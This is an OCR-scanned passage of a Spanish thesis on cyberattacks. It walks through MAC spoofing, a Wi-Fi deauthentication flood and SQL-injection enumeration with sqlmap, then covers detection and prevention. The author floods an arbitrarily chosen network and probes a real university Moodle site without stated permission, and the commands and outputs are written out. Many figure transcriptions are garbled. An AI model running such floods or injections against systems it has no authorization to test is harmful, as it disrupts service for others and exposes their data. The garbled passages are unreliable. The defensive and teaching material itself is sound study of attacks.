
Current MAC: 7e:6e:0a:8b:0c:12 (unknown)
Permanent MAC: 50:2b:73:c4:0b:ca (unknown)

Figura 66: Cambiamos la MAC a nuestra wlan0
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Como vemos antes de editar las preferencias vemos que la MAC de nuestra wlan0 es la misma con la que
estamos siendo detectados en la red, tras indicar en configuracién que queremos una direccidon random de
MAC cada 10 minutos podremos comprobar de nuevo que la MAC con la que navegamos actualmente es

diferente a la MAC permanente.

Tras haber cambiado la MAC procedemos a hacer un escaneo para ver lo que captura el modo monitor de

nuestro ordenador con el comando “airodump-ng wlan0” y obtenemos el monitoreo siguiente

CH 12 1[ Elapsed: 6 s ][

PWR B : i#/ C MB ENC CIPHER

Figura 67: Captura modo monitor en interfaz wlan0

Definamos algunos términos que podemos diferenciar en la Figura X:
e ESSID nombre de las redes wifi-cercanas disponibles.
e BSSID corresponde a la direccion MAC del router.
e STATION hace referencia a las estaciones, es decir, las direcciones MAC de dispositivos.

e FRAMES podemos ver la informacion que esta transmitiendo cada dispositivo.

Introducidos estos conceptos procedamos a realizar un ataque de denegacion de servicio. Para ello nos
tendremos que centrar en una red que queramos denegar su servicio, por ejemplo, nos centraremos en
una red aleatoria. Para ello introducimos el comando “aireplay-ng —deauth 2000000 -e ALEX -c

0C:73:29:1E:78:C5 —ignore-neative-one wlan0”.

[91]



Antonio Villafranca Albaladejo

® /home/kali
2000000 ALEX 0c:73:29:1e:78:¢c5 wlan0
ioct1(SIOCSIWMODE) failed: Device or resource busy

06:06:38 Waiting for beacon frame (ESSID: ALEX) on channel 6

Found BSSID "0C:73:29:1E:78:C5" to given ESSID "ALEX".

06:06:40 Sending 64 directed DeAuth (code 7). STMAC: [@C:73:29:1E:78:C5] [ 0| 64 ACKs]
06:06:40 Sending 64 directed DeAuth (code 7). STMAC: [0C:73:29:1E:78:C5] [ 0| 64ACKs]

Figura 68: Atacando a la Red Mediante Envio de Paquetes

Describamos antes de ver el ‘ataque’ las etiquetas que ponemos en la lista de comandos:
o deauth para especificar el nimero de peticiones que vamos a realizar, conviene poner un nimero
grande para inundar el servidor o incluso poner ‘-0’ que indica que no hay limite.
e -e para especificar la ESSID.
e -apara especificar el BSSID.
e --ignore-negative-one nos sirve en caso de detectar un ‘-1’ ignorarlo y quedarnos con la parte

positiva ya que algunos ordenadores tienen este método a modo de “proteccion”.

En la figura que mostraba las redes disponibles junto al consumo de frames de cada una no llegamos a
cargar la informacion de “ALEX” pero en un segundo intento (habiendo parado el ataque) volvemos a

ejecutar el comando y obtenemos la siguiente informacion.

BSSID STATION Wi Rate Lost Frames Notes Probes

(not associated)
(not associated)
(not associated)
(not associated)
(not associated)
(not associated)

a

a

Area PDA,san sebaatian

W N ==

o

s
s
(not associated)
(not associated)
s
s

om >
[l e S S SO S S S

(not associated)
sociated)

NOoOunNuphwme &
NS \

(=]

|

|

= oo

(not a

)
o

(not associated)
(not associated)
(not associated)
0c:73:29:1e:78:c5 “F5:147:271E4:2 ¢ P ALEX

(not associated) AQ: tF5:02:4¢4 soleanil977-56G

Figura 69: Monitoreo de Red a través de WlanO0 (Previo al Ataque)

Tras volver a ejecutar el ataque anterior volvemos a introducir este comando v, si todo ha salido

correctamente el nimero de frames de la red “ALEX” debera haber subido considerablemente.

Figura 70: Monitoreo de Red a través de WlanO0 (Previo al Ataque)
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Como podemos observar los frames de la red “ALEX” han sido incrementados dado que estoy inyectando
paquetes, al ser ataque tipo DDoS y para que el ataque fuese mas rapido he abierto tres terminales

diferentes que inyectasen paquetes mas rapido.
Como consecuencia de este ataque, los usuarios de la red no podran soportar tanto flujo de informacion

por lo que la conexidn se les quedara congelada y no puedan tener acceso a ella. El ‘ataque’ estara activo

hasta que yo pare la inyeccidon de paquetes mediante cntrl+c.
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5.4.1.2. COMO DETECTAR Y PREVENIR ATAQUES DDoS

Para saber como detectar y evitar los ataques DoS / DDoS, recurrimos a SolarWinds, que no solo
proporciona un software para detectarlos, sino que también nos proporciona diferentes pistas para

armarnos contra ellos.

e Demasiadas solicitudes de una IP en concreto: Podemos tener un programa que pueda analizar
las solicitudes que llegan a nuestro enrutador para detectar si una determinada IP genera una
solicitud cada ‘x’ segundos, la finalidad es bloquear estas IP, pero debido a que diferentes sitios
web como Google hacen esto, es algo complicado de determinar. Muchas solicitudes se realizan

dentro y pueden desencadenar alertas de intrusiéon ‘falsas’ en nuestra red.

e Interrupcidn del sistema: Los ordenadores tienen una serie de interrupciones definidas por
cédigos, que nos brindan informacién diferente. Especificamente, echemos un vistazo al error 503.
Este cddigo significa 'Servicio no disponible’, lo que significa que el servidor no esta listo para
procesar la solicitud. Puede deberse al mantenimiento del servidor o porque el servidor estd bajo

ataque DDoS.

e Tiempos de espera de TTL: Un ataque DDoS como hemos dicho antes tiene como objetivo colapsar
el sistema, es decir, consumir todo el ancho de banda disponible haciendo que el tiempo del ping

sean demasiado largos.

Vistas algunas maneras con las que podemos detectar estos ataques, a continuacion, veremos cdmo

podemos protegernos frente a ellos.

e Ubicar el servidor entre cortafuegos A esto se le Ilama ‘DMZ’ (Zona Desmilitarizada), esto protege
nuestro servidor haciendo que ningun ordenador no identificado se dirija a los hosts conectados a
mi servidor, tan solo les permitira acceso segun el tipo de conexién que se quiera hacer, por
ejemplo si se quiere hacer una conexion web solamente podra acceder al servidor web pero no a

un servidor de correo.

{ Servidor web
DMZ

— v
‘ ' ' “

Resto Servidores

i

- — >

Conexiones Conexiones CortafUegos (
NO Permitidas Permitidas

' TN

Internet ) %
)

= e

Figura 71: Zona Desmilitarizada
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Instalar sistemas IDS/IPS son aquellos sistemas que monitorizan las conexiones dirigidas a nuestro
servidor y nos alerta en caso de que se detecten accesos no autorizados o acciones fraudulentas en

la red.

Gestionar el ancho de banda es conveniente tener softwares que sean capaces de analizar el ancho
de banda continuamente que se esta consumiendo para detectar posibles picos de subida que

puedan estar relacionados con ataques DDoS.

Redundancia y balanceo de carga consiste en hacer que nuestro servidor esté ‘duplicado’ y
permite que la carga dirigida sea compartida entre estos dos, esto reduce el riesgo de ser atacados
debido a que la sobrecarga serd la mitad. Este método también permite mayor tolerancia a fallos lo

gue permite mayor disponibilidad.

Sistemas actualizados constantemente como es tipico en todos los temas de ciberseguridad, el
tener los dispositivos actualizados a la orden del dia permite mitigar la mayoria de los ataques

basicos.
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5.4.2. ATAQUES POR INYECCION DE CODIGO SQL

Esta técnica que veremos a continuacion es la que se asocio al ataque, veamos como funciona. Un ataque
de inyeccién de cddigo implica primero encontrar una laguna en el sistema que nos permita tener una

‘zona’ a través de la cual podemos inyectar cédigo para ejecutar el ataque. 7!

La idea principal de este ataque es en primer lugar comprometer el sitio web o en su defecto el robo de
informacién contenida en las bases de datos las cuales pueden ser robadas, modificadas o hasta

eliminadas.

Sin embargo, para no escatimar esfuerzos en explicar todo, primero expliquemos qué es SQL, SQL
(Structured Query Language) es un lenguaje disefiado para interactuar con bases de datos para que puedan
ser administradas, asi que defindmoslo como un lenguaje de programacion con sus propias declaraciones y

codigos.

En este lenguaje tendremos principalmente una base de datos con la que trabajar y nosotros para
interactuar con ella tendremos que primero hacer una conexion SQL y posteriormente indicarle que

gueremos hacer sobre ella. Normalmente esto se realiza mediante PHP, javascript o HTML.

Imaginemos que tenemos una base de datos (db) denominada ‘ail9’ la cual contiene un catdlogo de

diferentes peliculas con distinta informacidn de cada una de ellas.

Sconnection = mysqgli connect("localhost", Suser, S$psw, $db);

if ($result = Sconnection —>guery("SELECT * FROM movie")) {

//numero total de peliculas

$result = Sconnection->query( 'SELECT COUNT (id) E
while ($line = $result->fetch_array (MYSQLI ASS0OC))
$npeli= $line["COUNT (1d)"];

}

//media de todas las puntuaciones
Sresult = $connection->guery( 'SELECT AVG(score) FRCOM user score’);
while ($lins = $Iesult—>fetch_array{MYSQLIAASSDC}} {

$mpunt= $line["AVG (score)"];

;
Figura 72: Ejemplo SQL sobre PHP

En este ejemplo podemos ver las distintas sentencias SQL que utilizamos
= “SELECT * FROM movie” = Selecciona toda la informacién que contenga la tabla ‘movies’
= “SELECT COUNT(id) FROM movie” = Cuenta el nimero de peliculas que hay en la tabla ‘movies’

= “SELECT AVG(score) FROM user_score” = Selecciona la puntuacién media de los usuarios de cada

pelicula
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Una vez introducido el lenguaje SQL, veremos que cualquiera que pueda inyectar declaraciones maliciosas
sin ser detectado por una base de datos (como PlayStation Network) puede robar todo tipo de informacion.
Sabemos que en el caso de robo de datos de PSN, su informacién no estaba encriptada en la base de datos,

lo cual fue criticado después del descubrimiento.

Normalmente los atacantes utilizan dos técnicas basadas en inyeccion SQL:

e Inyeccion en Banda es el mas sencillo, el atacante es capaz de encontrar una vulnerabilidad en la
aplicacion que le permita utilizar el mismo canal tanto para introducir cédigo SQL como para

recoger los datos. Veamos dos tipos de ataques:

o Basado en error consiste en obtener mas informacidn sobre las bases de datos y sus tablas,
sabemos que en los mensajes de error cominmente se incluye el nombre de una tabla que

ha podido dar error o hasta los nombres de las columnas de esta.

o Basado en union consiste para a raiz de una tabla inicial, poder obtener los datos de una
tabla diferente, normalmente esto se hace generando claves primarias que permitan
correlacionar una tabla con otra. Por ejemplo, imaginemos que tenemos dos tablas de
datos, una de aviones y otra de trabajadores de un aeropuerto, ambas tablas tienen una
columna destinada al DNI de los pilotos, ésta serd la clave primaria que le permita realizar

una relacién entre ambas tablas.

¢ Inyeccion Ciega consiste en enviar varias consultas para ver cémo reacciona la aplicacion a la hora
de analizar las respuestas, esto le permitira al atacante obtener mas informacion detallada de la

base de datos. Veamos de nuevo dos tipos de ataques:

o Ataque Booleano el atacante evaluara qué partes de la entrada del usuario son vulnerables
a la inyeccion de SQL, lo cual es extrafo, porque solo ingresando el comando "1=1"0"1=
2" permitird evaluar si la aplicacidn es vulnerable, mas adelante aprenderemos mas sobre

técnicamente en el ejemplo.

o Ataque Basado en Tiempo permite comprobar si una vulnerabilidad sigue estando en la
aplicacion. Normalmente se utiliza el comando ‘sleep()’ que indica a la base de datos que
espere un tiempo para realizar la consulta. Sila consulta sobre la que se ha introducido el

comando ‘sleep()’ realmente se retrasa sabremos que la base de datos es vulnerable.
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5.4.2.1. SIMULACION ATAQUE SQLi

Al igual que el ejemplo del ataque anterior vamos a hacer uso una vez mas del SO Kali Linux el cual nos
brinda numerosas herramientas para poder hacer un ataque por inyeccion de cédigo. Kali incorpora un
software denominado ‘SQLMap’ que nos va a permitir hacer pruebas de penetracion de cddigo pudiendo

explotar falla de servidores de BBDD y poder llevar a cabo una inyeccién de cédigo.

Lo primero que vamos a hacer es seleccionar una pagina web para comprobar si dispone de fallas en el
sistema, por ejemplo ponemos un curso del aula virtual, comienza a realizar un informe de las posibles
vulnerabilidades.

] [INFO] testing connection to the target URL
got a 303 redirect to 'https://aulavirtual.upct.es/login/index.php’. Do you wan
t to follow? [Y/n] vy
you have not declared cookie(s), while server wants to set its own ('MoodleSess
ion=dvent4f5heg ... 035fgd5n61;sto-1d-47873=NKBEIANEFAAA; JSESSIONID=8D3646A2C82 ..
.8B5A26C93F' ). Do you want to use those [Y/n] y
[ ] [INFO] checking if the target is protected by some kind of WAF/IPS
[ ] [INFO] testing if URL content is stable
[ 1 [WARNI GET parameter "1d’' does not appear to be dynamic
[ ] [WARNING] heuristic (basic) test shows that GET parameter 'id' might

not be injectable
1 [INFO] testing £ g injection on GET pa
f esti d blind - ¥
d blind - Par

based - WHERE, HAVING, ORDER

d - WHERE
se AN

ected in connection re
onse(s). ease e a ig : 1me as possible (e.g.
or more)

~+ —+ —+
M M M

g C sqL
ting "O1 AND tim
it i1s recommended to perform only basic UNION tests if there is not at least on
e other (potential) technique found. Do you want to reduce the number of reques

ioonow

+
M

[ ] [INFO] testing 'Generic UNION gquery (NULL) - 1 to 1@

Figura 73: SQLMap informe aplicado sobre curso de Aula Virtual

El resultado de este analisis indicd que en principio, con el analisis basico realizado, que no se han
encontrado fallas en el sistema, sin embargo, podria hacer un analisis profundo que detectase nuevas
vulnerabilidades, al no tener claro las posibles repercusiones legales decidimos seguir un ejemplo en

internet sobre una pdgina web de cédigo abierto.

(98]



Diagnosis de Ciberataques: Estrategias y Técnicas de Seguridad para una mejor Proteccidn

Intentemos de nuevo el comando anterior aplicado a la nueva pagina web de cddigo abierto la cual no serd

expuesta por confidencialidad.

columns' injectable

GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y

sglmap identified the following injection point(s) with a total of 5@ HTTP(s) r

5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY c

8x717 7 LECT (ELT(£139=4139,1

2 AND time-base
LECT 1577 FROM

UNION query
Gens c UNION guery (NULL) - 11 columns
ELECT NULL,MULL,NULL,NULL,NULL,NULL ,NULL ,NULL,
72455064 94548 76 6f7 c416a59 b
7171787171 ) ,NULL,NULL-—

1 [InFO] the back-end DBMS is MySQL
ing system: Linux Ubuntu
hnology: PHP 5.6.40, Nginx 1.19.0
IL =

Figura 74: Resultados SQLMap Pagina Web

Como podemos ver, el software ha detectado que existen dos bases de datos, una denominada ‘acuart’ y la
otra denominada ‘information_schema’. Ahora lo que vamos a intentar es acceder a una de estas bases de

datos, por ejemplo ‘acuart’ con el comando “sqlmap -u http://direccionweb -D acuart —tables” .

the back-end DBMS is MySQL
i Linux Ubuntu
Nginx 1.19.@, PHP 5.6.40

==
products

users

Figura 75: Resultados Obtenidos en BBDD ‘acuart’
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Como vemos, la base de datos esta formada por ocho tablas, cada una de ellas contendrd una informacion
y sabemos que el sitio web es vulnerable. Profundicemos mas, ahora intentemos meternos en una de estas
tablas para ver la informacién que contiene cada una de ellas, usaremos “sqlmap -u http://direccionweb -D

acuart -T carts --columns” .

] [INFO] the back-end DBMS is MySaQL
ing system: Linux Ubuntu
application t : Nginx 1.19.8, PHP 5.6.40
-end DBMS

hing columns for table ‘carts’

Figura 76: Resultados Obtenidos en Tabla ‘carts’

Con el siguiente comando podemos hasta leer todos los datos que haya en esas columnas, lo he hecho pero
he obtenido como resultado que la columna ‘cart_id’ tiene 0 entradas, para ello hay que usar el comando

“sqlmap -u http://direccionweb -D acuart -T carts —C cart_id --dump” .

[ 1:15] [INFO] retrieved: @

[@9:51:16] [W NG] table 'carts' in database 'acuart' appears to be empty
Database: acuart

Table: carts

[0 entries]

+—

cart_id |
+
+

|

Figura 77: Resultados Obtenidos en Columna ‘cart_id’

Como vemos no tenemos que hacer nada mas que ir introduciéndonos poco a poco en un sistema que

hemos detectado que a priori presenta una vulnerabilidad.

De esta manera es posible obtener toda la informacién deseada de las BBDD como ocurrié en este ataque

de PSN en el que los atacantes pudieron acceder a todas ellas y recopilar la informacion.

Imaginemos que atacamos una base de datos que tenga una tabla ‘admin_user’ y ‘admin_password’ y
puedo acceder a ellas, tendré el control total del sistema, las contrasefias es posibles descifrarlas con

diferentes compiladores de los que dispone Kali, normalmente se utiliza un descifrador md5.
La otra opcidn que podemos hacer es incluir desde terminal nosotros datos pero como realmente

tendremos el acceso a la base de datos completa, es mas sencillo realizarlo a través de un software de

gestion de BBDD como puede ser SQLManager.
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5.4.2.2. COMO DETECTAR Y PREVENIR ATAQUES SQLi

Para saber detectar estos ataques, existen miles de software encargados de analizar el cédigo para ver si
estd libre de vulnerabilidades. Las inyecciones son dificiles de detectar, a diferencia de los DDoS que
pueden observar la cantidad de solicitudes indiscriminadas, y estas vulnerabilidades SQL no dejan rastros

en el servidor, lo que dificulta su deteccién.

Por lo general en este tipo de ataques, el atacante sera detectado una vez que la vulnerabilidad sea
utilizada para realizar diferentes operaciones, por lo que lo mas importante es ser cautelosos y controlar

activamente la base de datos y las consultas para comprender realmente si estamos bajo ataque.

Entonces el apartado de ‘deteccién’ lo dejaremos indicando distintos softwares capaces de detectar

actividad sospechosa.

= SQL Injection Scanner (Pentest-Tools) consiste en un escaner online que permite analizar si en
nuestra pagina web hemos sufrido un ataque SQLi. Hace uso de proxy OWASP Zed un escaner de

seguridad web de cddigo abierto.

= SQLMap consiste en otro escaner online de cddigo abierto que se encarga de realizar pruebas para

ver si tu sistema es vulnerable a la inyeccién de cédigo.

=  Wapiti en este caso tenemos un escaner de vulnerabilidades de caja negra programados en Python
gue no solamente es capaz de analizar ataques SQLi sino divulgacion de archivos, ejecuciones de

comandos o falsificacion de solicitudes en servidores.

Como hemos dicho antes, lo mas importante para defenderse de estos ataques es centrarse en los

métodos de prevencion.

=  Usar Firewall de Aplicacion Web denominado ‘WAF’ se implementa ‘delante’ de la aplicacidn y se
encarga de evitar estas vulnerabilidades en la aplicacién filtrando solicitudes web potencialmente

peligrosas. Este firewall puede ser integrado en el servidor web o puede estar basado en la nube.

= Parametrizar consultas consiste en hacer declaraciones para garantizar que ninguna de las
variables dindmicas que necesita en una consulta pueda modificarse, es decir, consiste como en
establecer una secuencia determinada para poder modificar, incluir o extraer los datos de una

tabla.

= Validacién de entrada consiste en permitir los datos introducidos por los usuarios pero no
directamente sino que son pasados a una ‘lista blanca’ encargada de realizar la validacién de los

datos. Cuando estos datos no cumplen con los valores definidos se rechazan.
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= Establecer Privilegios consiste en establecer privilegios por tiempo segln la accidon que se vaya a
realizar, no se debe asignar privilegios de tipo ‘administrador’ a los usuarios de la aplicacidn y se

debe establecer el minimo de privilegios en el sistema para realizar acciones.

= Usuarios de Escape como una de las técnicas vistas anteriormente es la basada en tiempo, es decir,
esperan a que pasen ‘X’ segundos para extraer los datos, los usuarios de escape consisten en hacer

gue si una consulta tarda mas de ‘y’ segundos en ejecutarse se haga un ‘kill’ al proceso.

= Encriptar la informacion de las BBDD hara que las consultas tarden mas tiempo en procesarse pero
sin embargo anadira un punto de seguridad muy importante ya que si un atacante logra hacerse

con esa informacién, tendrd que desencriptarla primero para acceder a ellas.

Si nuestro sistema ya ha sido atacado mediante alguna técnica SQL de las antes mencionadas significa que
todo lo anterior o no se ha configurado bien o el atacante ha podido esquivar todas estas prevenciones,

entonces lo que debemos hacer para recuperarlo es lo siguiente

= Localizar la Vulnerabilidad es lo primero que tenemos que hacer, podemos realizar un ataque
nosotros mismos o utilizar uno de los softwares antes mencionados que permitan establecer

donde estd el cddigo vulnerable.

= Eliminar Inyecciones una vez sepamos donde el atacante ha introducido las inyecciones maliciosas

y los datos incorrectos los borraremos y restableceremos el sitio web a un estado limpio.

= Eliminar Puertas Traseras debemos de ver si el atacante ha utilizado algun tipo de malware capaz
de instalar puertas traseras en nuestra aplicacion que el permitan en un futuro volver a realizar un

ataque.

=  Actualizacion de datos consiste en descubrir si existen usuarios admin corruptos y tras comprobar
gue no hacer una limpieza de datos cambiado toda la informacién que haya podido ser

comprometida.

=  Supervisar declaraciones SQL monitorearemos las declaraciones de nuestro sistema para

descubrir cuales de ellas son falsas, esto permite detectar indicadores de compromiso.
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5.5. GLOSARIO

Balanceo de Carga en el dmbito de las redes, hace referencia a la distribucién del trafico de la red
en diferentes servidores denominados entre ellos ‘Server Farm’ o ‘Granja de Servidores’. El
balanceo de carga hace posible encaminar las solicitudes de los diferentes usuarios a los servidores
de una forma equitativa para mantener la capacidad que puede satisfacer cada servidor y

favoreciendo que la velocidad sea mayor.

A parte de permitir que la velocidad sea mayor y la capacidad no se vea afectada, en caso de que
un servidor falle no se detendrd el servicio sino que el host encargado del mantenimiento calculara
de nuevo las peticiones que desean realizar los usuarios y volverd a repartir equitativamente los

enlaces entre los usuarios y el conjunto de servidores.

Hacktivismo es un término derivado de la unién de las palabras ‘Hack’ y ‘activismo’. Hace
referencia a la corriente de llevar a cabo actos de pirateo, interrupcidon, bloqueo o crackeo de
sistemas informaticos con fines politicos y/o sociales. Normalmente los usuarios pertenecientes a
esta corriente no atacan con fines econdmicos sino motivados por un acto de justicia para todos los
ciudadanos y su objetivo principal es el de enviar un mensaje a raiz de sus ataques que sirvan para

promover determinada causa.

Jailbreak en espafiol ‘Fuga de la Carcel’, consiste en llevar a cabo un proceso por el cual
conseguimos eliminar las limitaciones impuestas de una empresa sobre un dispositivo. Esta
‘liberacion’ permite explotar el uso del dispositivo pudiendo instalar software de terceros o tener

mayor control sobre el sistema operativo del terminal.

Esta ‘fuga’ se realiza mediante la modificacion de nucleos o ‘kernel’, un software que constituye
una parte muy importante del sistema operativo y es la que nos permite ejecutar el dispositivo en

modo ‘superusuario’.

Kali Linux se trata de una distribucién de Linux disefiada mayoritariamente para la seguridad
cibernética y hacking ético, es decir, para poner a prueba los sistemas de seguridad de diferentes

dispositivos para mitigar sus posibles vulnerabilidades.

Fue desarrollado por Debian y la empresa ‘Offensive Security Ltd. Dentro del sistema operativo
podemos encontrar hasta 600 aplicaciones de hacking y seguridad como las que hemos usado en

éste capitulo para la simulacion de ataques.
Redundancia de paquetes la redundancia consiste en asegurarse de que si ocurre un fallo en una

red, los paquetes que viajen a través de ellos puedan seguir viajando, esto es posible mediante el

uso de rutas de datos alternativas preparadas.

[103]



Antonio Villafranca Albaladejo

6. CONCLUSIONES

Para finalizar el trabajo hagamos una conclusidn conjunta a cerca del impacto que tienen hoy en dia los

ciberataques a nivel mundial junto a una visién futura de como pueden evolucionar estos ataques.

Sabemos que hoy en dia todo se difunde a través de Internet, aunque esto es una gran ventaja, también se
ha convertido en un gran problema. Como hemos visto a lo largo de nuestro trabajo, los ciberataques

actuales pueden tener como objetivo a personas, sociedades o empresas.

Un ciberataque puede ir desde un simple robo de datos hasta, en casos mas graves, fallas en equipos
militares-politicos o incluso atentar contra la salud publica logrando hackear por ejemplo, una planta de

tratamiento de agua como ocurrié recientemente en Florida 5!,

Estas amenazas cada dia son mas graves dado que, conforme van sucediendo ataques son estudiados con
el fin de aplicar técnicas que permitan mitigarlos en un futuro pero los atacantes son capaces de desarrollar

nuevas técnicas que aguanten estas ‘defensas’ y permitan llevar a cabo el ciberataque.

Otro problema que surge es pensar que un ataque es posible ser llevado a cabo por un grupo de hackers
cuando en realidad los ataques mas frecuentes y graves son los llevados a cabo por estado-nacién con el
propdsito de lograr sus objetivos estratégicos, veamos como define Chris Painter, del departamento de
EEUU, un ejemplo de los objetivos detras de los ataques estado-nacién de China y Corea del Norte, « Sus
motivaciones y objetivos difieren: mientras que Corea del Norte apunta principalmente a desarrollar
capacidades para la generacion de ingresos y capacidades destructivas para posibles conflictos fuera de
Corea del Norte, China utiliza principalmente sus medios cibernéticos para el espionaje y el robo de

propiedad intelectual » 184,

Descritas las amenazas a las que estamos expuestos, veamos el punto positivo, a medida que mejoran los
ataques también lo hacen las herramientas que nos defienden. Veamos el caso estudiado de ‘SolarWinds’,
en el momento que se descubre que un hacker puede tener acceso root a su sistema se procederd a

realizar un parcheo y posteriormente distribuirlo a todos los propietarios de su software.

De cara a empresas u organizaciones, veamos las medidas de prevencion y deteccion de ciberataques como
una caja, la base de la caja debe de ser las herramientas de deteccidn de amenazas (XDR), estas
herramientas permiten actuar como ‘bengala’ cada vez que se encuentra algo sospechoso dentro de la red.
Posteriormente acttan las herramientas de simulacidn de ataque/pruebas de vulnerabilidades en la red,

normalmente esto es realizado por empresas como BugCrowd o CrowdStrike.
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A un nivel mas basico, équé podemos hacer nosotros como usuarios para protegernos? Podemos garantizar

una seguridad de nuestra informacidn en tres simples puntos:

e Proteger nuestros archivos con contrasefias fuertes incluyendo todo tipo de caracteres y de una
longuitud aceptable. Vamos a poner un ejemplo, imaginemos que tenemos un archivo cifrado
mediante el algoritmo AES-128 con la siguiente contraseiia “asfh_@--1928”, un ataque por fuerza

bruta puede tardar hasta 150 mil millones de afios.

e Utilizar herramientas software de tipo antivirus que permita tener nuestro sistema actualizado y

programado para obtener las continuas modificaciones de seguridad.

e Debemos tener precaucion a la hora de abrir enlaces desconocidos o descargar softwares de
terceros no legitimos que puedan contener diferentes tipos de malware que infecten mi

dispositivo.

e Formarse en el ambito de la ciberseguridad. En el transcurso de 2021 se han detectado en Espafia
mas de 300.000 ciberataques, un 70% mas que en el afio anterior, esto puede haberse visto
afectada por la pandemia que seguimos sufriendo y que ha forzado a los empleados a teletrabajar

sin ningun tipo de conocimiento o formacién a cerca de ciberseguridad.

Se prevé que en un futuro las armas utilizadas por los atacantes sigan siendo mas potentes gracias a nuevas
técnicas que nazcan por lo que debemos de tener la motivacion para que a la vez que se desarrollan estas
armas se desarrollen nuevas defensas asi como impartir el conocimiento de ciberseguridad para todos los

usuarios que puedan tener acceso a un dispositivo de red.
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